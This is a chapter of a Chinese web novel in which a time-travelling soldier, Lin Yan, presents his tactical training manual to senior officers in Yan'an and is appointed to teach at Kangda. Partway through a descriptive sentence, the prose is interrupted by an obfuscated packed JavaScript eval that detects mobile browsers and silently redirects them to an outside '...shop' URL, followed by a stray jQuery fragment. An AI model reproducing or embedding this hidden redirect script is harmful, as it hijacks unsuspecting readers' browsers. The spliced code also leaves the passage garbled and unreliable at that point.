第三天早晨，秦科长如约来找林晏。


    “今天带你去见几位同志。”秦科长说，神色比平时严肃些，“主要是总参作战部和教育委员会的同志。他们对你的教材很感兴趣，但……也有些不同看法。”


    林晏心里一紧：“不同看法？”


    “主要是关于‘时间战理论’这部分。”秦科长推了推眼镜，“有些同志认为，这过于强调技巧和计算，可能削弱战士们的革命意志和牺牲精神。战争嘛，说到底还是人的对抗，是意志的较量。”


    这话林晏在连队时也听过类似的质疑。陈指导员就曾说过：“打仗靠的是不怕死，搞那么多弯弯绕绕有什么用？”


    “我明白了。”林晏点点头。他知道，今天可能不是简单的汇报，而是一场辩论。


    两人穿过延安狭窄的街道。路上，秦科长简单介绍了今天要见的几位同志：


    “李参谋，总参作战部的，老红军了，打过五次反围剿，长征过来的。他实战经验丰富，但思想比较传统，对‘洋理论’不太感冒。”


    “王主任，教育委员会的，早年留学日本，懂军事理论，也重视教育。他可能会从教学角度提问题。”


    “还有一位张政委，是政治部的。他更关心思想导向问题。”


    都是重量级人物。林晏感到肩上的压力又重了几分。


    会议地点在凤凰山下一个较大的窑洞里。窑洞被改造成了会议室，墙上挂着巨幅的作战地图，桌上铺着白布，摆了几只粗瓷茶杯。虽然简陋，但气氛庄重。


    林晏和秦科长进去时，三位同志已经到了。李参谋五十多岁，脸庞黝黑，有很深的皱纹，一看就是常年风餐露宿的老兵。王主任四十出头，戴着眼镜，文质彬彬。张政委则是个精干的中年人，目光锐利。


    “这位就是林晏同志。”秦科长介绍道。


    林晏立正敬礼：“首长好。”


    “坐吧，林晏同志。”李参谋指了指凳子，声音洪亮，“听说你从山西前线来，还带着一套新教材。不容易啊，年轻人。”


    这是客套，但林晏听出了背后的审视意味。


    会议开始。秦科长先简要介绍了林晏的背景和教材的编写过程，然后由林晏做主要汇报。


    林晏站起身，走到墙边。他没有用讲稿，而是指着地图，从最实际的问题开始：


    “首长们，我在前线半年，最大的感受是：我们的战士不怕死，但很多牺牲本可以避免。”


    他顿了顿，看到李参谋的眉头皱了一下。


    “举个例子。上个月，我们团侦察连在杨庄附近损失了三个战士。事后分析，他们是在固定的时间、固定的路线侦察，被敌人预判并设伏。这不是战士们的错，是我们在训练中，没有教会他们‘时间随机性’的重要性。”


    “你的意思是，我们的训练有问题？”李参谋直接问。


    “不是训练有问题，是训练内容需要更新。”林晏坦然面对他的目光，“岛国军已经在用统计学方法分析我们的行动规律。如果我们还按照‘早晨出发、傍晚返回’的老模式，就是在送死。”


    “那你的‘时间战法’具体是什么？”王主任问。


    林晏回到桌边，拿出几页手写的图表——这是他昨晚准备的。


    “简单说，就是打破规律，制造混乱。比如侦察时间，不要固定，要用抽签、掷骰子、看云彩形状这些随机方法决定。比如行军路线，要准备三套方案，临出发前才决定用哪一套。比如联络暗号，要每天更换，而且更换规则本身也要随机。”


    李参谋盯着图表看了很久：“这些东西……战场上来得及用吗？打仗讲究的是果断，是雷厉风行。你搞这么多弯弯绕绕，不会贻误战机？”


    这个问题很关键。林晏早有准备：


    “李参谋，这正是我想强调的第二点：随机不是混乱，而是更高层次的秩序。我们通过训练，让战士熟练掌握几套随机选择的方法，就像练刺刀要练到形成肌肉记忆一样。真正用的时候，不需要思考，只需要执行。这不会贻误战机，反而会让敌人无法预判我们的行动，为我们赢得主动权。”


    他举了个例子：“王家岭战斗中，我们连就是用随机时间发起攻击，打乱了敌人的防御节奏。如果我们按常规拂晓进攻，敌人已经做好了准备，伤亡会大得多。”


    王家岭战斗在团里是有记录的，李参谋显然知道。他沉默了片刻，点了点头。


    “继续。”


    接下来两个小时，林晏系统地介绍了教材的五册内容。从基础的观察方法，到情报分析框架，再到时间战理论，最后是群众工作和思想建设。他尽量用最直白的语言，结合具体战例，避免空谈理论。


    过程中，三位同志不断提问、质疑、争论。


    张政委最关心思想问题：“你强调技巧和方法，会不会让战士们产生侥幸心理，觉得靠聪明就能打胜仗，从而削弱不畏牺牲的革命精神？”


    林晏回答：“政委，我认为革命精神和科学方法不是对立的。战士们不怕死，但我们指挥员有责任让他们死得有价值。教他们更好的方法，不是让他们怕死，是让他们能在保存自己的前提下更有效地消灭敌人。一个活着的、有经验的老兵，比十个牺牲的新兵，对革命的贡献更大。”


    这话说得有点尖锐，但张政委没有生气，反而若有所思。


    王主任从教育角度提了很多实际问题：教材的适用性（对不同文化程度的战士）、教学方法（如何避免教条化）、后续修订机制等等。林晏一一回答，有些问题他已经在实践中遇到过，有些则是新思考。


    “林晏同志，”王主任最后说，“你的教材体系很完整，思路也很清晰。但我担心一点：它是不是太‘系统’了？战争是瞬息万变的，再好的系统也赶不上变化。如果战士们机械地照搬教材，会不会反而束缚了他们的创造力？”


    这个问题戳中了林晏最深的忧虑——他已经在七连看到了教条化的苗头。


    “王主任，您说得对。”他坦诚地说，“这正是我目前最担心的问题。教材是工具，不是圣经。我在前线时，就发现有些连队把教材当成了固定流程，死板执行。所以我后来增加了‘灵活运用’的培训，强调要根据实际情况变通。”


    “怎么变通？”李参谋问。


    “我总结了一个‘三问法’。”林晏说，“遇到任何战术选择，问自己三个问题：第一，这个选择最可能的结果是什么？第二，敌人最期待我做什么？第三，有没有敌人想不到的第三种可能？这三个问题没有标准答案，目的是打破思维定式。”


    窑洞里安静了片刻。


    “这个‘三问法’……有点意思。”李参谋缓缓说，“听起来简单，但抓住了要害。打仗，很多时候就是猜对方在想什么，然后反着来。”


    “对。”林晏松了口气。李参谋能理解，这很关键。


    会议持续到中午。勤务员送来了午饭——小米饭，白菜炖豆腐，还有一小碟辣椒酱。五人就在会议室里边吃边继续聊。


    气氛轻松了许多。李参谋开始讲长征时的故事，讲他们如何用土办法破解敌人的围追堵截。王主任则谈起在延安办学遇到的困难——没有教材，就自己编；没有教室，就在露天上课；没有纸笔，就用木棍在地上写。


    “所以说啊，林晏同志，”李参谋吃完饭，抹了抹嘴，“你的教材很重要，但更重要的是教材背后的那种精神——面对困难，自己想办法解决的精神。你把这种精神教给战士们，比教什么具体战术都有用。”


    这话让林晏心头一震。他忽然明白了，自己这半年来做的，不只是在传授知识，更是在传递一种思维方式：一种不依赖权威、不迷信经验、敢于质疑和创新的思维方式。


    而这种思维方式，可能正是这个时代最需要的。


    饭后，会议进入最后阶段：对教材的评估和后续安排。


    “林晏同志，你的教材体系，总参和教育委员会原则上同意在内部试用。”王主任正式宣布，“但有几个要求。”


    林晏坐直身体。


    “第一，先在小范围内试点，比如抗大的侦察专业班，以及两个前线团。收集反馈，不断完善。”


    “第二，你要参与教材的修订和教学。教育委员会打算在抗大开设一个‘特别战术研讨班’，由你担任□□之一。”


    “第三，也是最重要的——”王主任看着他，“你要把这些理论和方法，和我们党的军事思想、群众路线结合起来。不能就技术谈技术，要讲清楚，这些方法是为了更好地服务人民战争，是为了最终的革命胜利。”


    林晏郑重点头：“我明白。”


    “那好。”李参谋站起身，“林晏同志，欢迎你到延安工作。前线需要你这样的年轻人，延安也需要。好好干，但记住——理论再好，也要经得起战火的检验。”


    “是！”


    会议结束。秦科长送三位首长离开，林晏独自在会议室里整理材料。


    阳光从窑洞的窗户斜射进来，在粗糙的泥地上投下明亮的光斑。空气中飘浮


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140736|196318||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    着细微的尘土，在光柱里缓缓旋转。


    林晏坐在桌前，看着摊开的教材稿，心里百感交集。


    半年前，他刚来到这个时代时，连怎么在战场上活下来都不知道。现在，他编写的教材要被全军试用了，他要在抗大当□□了。


    这一切都像梦一样。


    但手上那些还没愈合的伤口、脑子里那些牺牲战士的面孔、耳边那些枪炮的回响，都在提醒他：这不是梦。这是他用汗水和鲜血，一步步走出来的现实。


    “感觉怎么样？”秦科长的声音从门口传来。


    林晏抬起头：“像打了一场仗。”


    “思想上打仗，有时候比真枪实弹还累。”秦科长走进来，坐在他对面，“但今天你打得不错。李参谋那个人，轻易不夸人的。他能说‘有点意思’，那就是很高的评价了。”


    “谢谢秦科长引荐。”


    “不用谢我，是你自己的本事。”秦科长顿了顿，压低声音，“不过，有件事我得提醒你。”


    林晏心里一紧。


    “你‘先知’的那个外号，在延安小范围传开了。”秦科长说，“这虽然是玩笑，但也会引来一些不必要的注意。你要注意分寸，不该说的话不要说，不该做的事不要做。”


    “我明白。”


    “另外，”秦科长从公文包里拿出一封信，“这是昨天收到的，从山西来的加密电报转写的。”


    林晏接过信，拆开。信很短，是沈擎苍的笔迹：


    “林晏：信已收到，内情已知。你专心工作，勿念。教材之事，连队全力支持。保重。沈。”


    没有落款日期，没有多余的话。但林晏读出了几层意思：第一，那封大卫·史密斯的信，沈擎苍知道了，而且很重视（“内情已知”）；第二，他让林晏不要分心（“专心工作，勿念”）；第三，连队会配合教材试点（“全力支持”）；第四，他在提醒林晏注意安全（“保重”）。


    典型的沈擎苍风格——简洁，直接，但该传达的都传达了。


    “沈连长是个明白人。”秦科长说，“他知道你在这里的价值。所以，放下顾虑，好好在延安开展工作。山西那边，有他们。”


    林晏把信折好，收进口袋。信纸的触感很粗糙，但让他感到踏实。


    “秦科长，抗大的特别班，什么时候开始？”


    “下周。这几天你可以先熟悉一下抗大的环境，见见其他□□，也准备一下教案。”秦科长说，“对了，抗大图书馆虽然不大，但有些书你可能感兴趣。可以去看看。”


    图书馆。林晏心里一动。


    “还有，”秦科长站起身，走到门口又回过头，“延安是个思想活跃的地方，各种观点都有交锋。你可能会听到对你教材的批评，甚至攻击。不要怕，真理越辩越明。但也要记住——我们的一切工作，都是为了打赢这场战争，为了让老百姓过上好日子。这是根本，不能忘。”


    “我记住了。”


    秦科长走后，林晏又在会议室坐了很久。


    他拿出笔记本，开始规划接下来的工作：


    第一，修订教材，针对试点反馈进行调整。


    第二，准备抗大特别班的教案，重点是“如何教学”而不是“教什么”。


    第三，去图书馆，系统学习这个时代的军事理论和思想。


    第四，继续思考秦科长提到的“更广阔领域”——如果能用科学方法帮助根据地建设，那会是什么样？


    他一条一条写下来，字迹工整坚定。


    写完后，他合上笔记本，走出窑洞。


    延安的午后，阳光正好。远处传来抗大学员的歌声，是《黄河大合唱》，声音嘹亮，充满了力量。


    林晏沿着山坡往下走，穿过一片枣树林，来到延河边。


    河面已经封冻，冰层很厚，能看到下面的水流缓缓涌动。几个孩子在冰上抽陀螺，笑声清脆。对岸的山坡上，新挖的窑洞一排排延伸，像大地的肋骨。


    这就是他要战斗的地方。


    不是用枪，是用思想；不是在前线，是在后方；但同样是为了胜利，为了那些在冰上玩耍的孩子们能有一个不用躲轰炸的童年，为了这片土地上的人们能挺直腰杆活着。


    林晏深吸一口气，冰冷的空气充满肺叶，让他清醒，也让他充满力量。


    他转过身，朝抗大的方向走去。


    那里有图书馆，有教室，有等待他的学生，有需要他去开辟的、另一片思想的战场。


    而他，已经准备好了。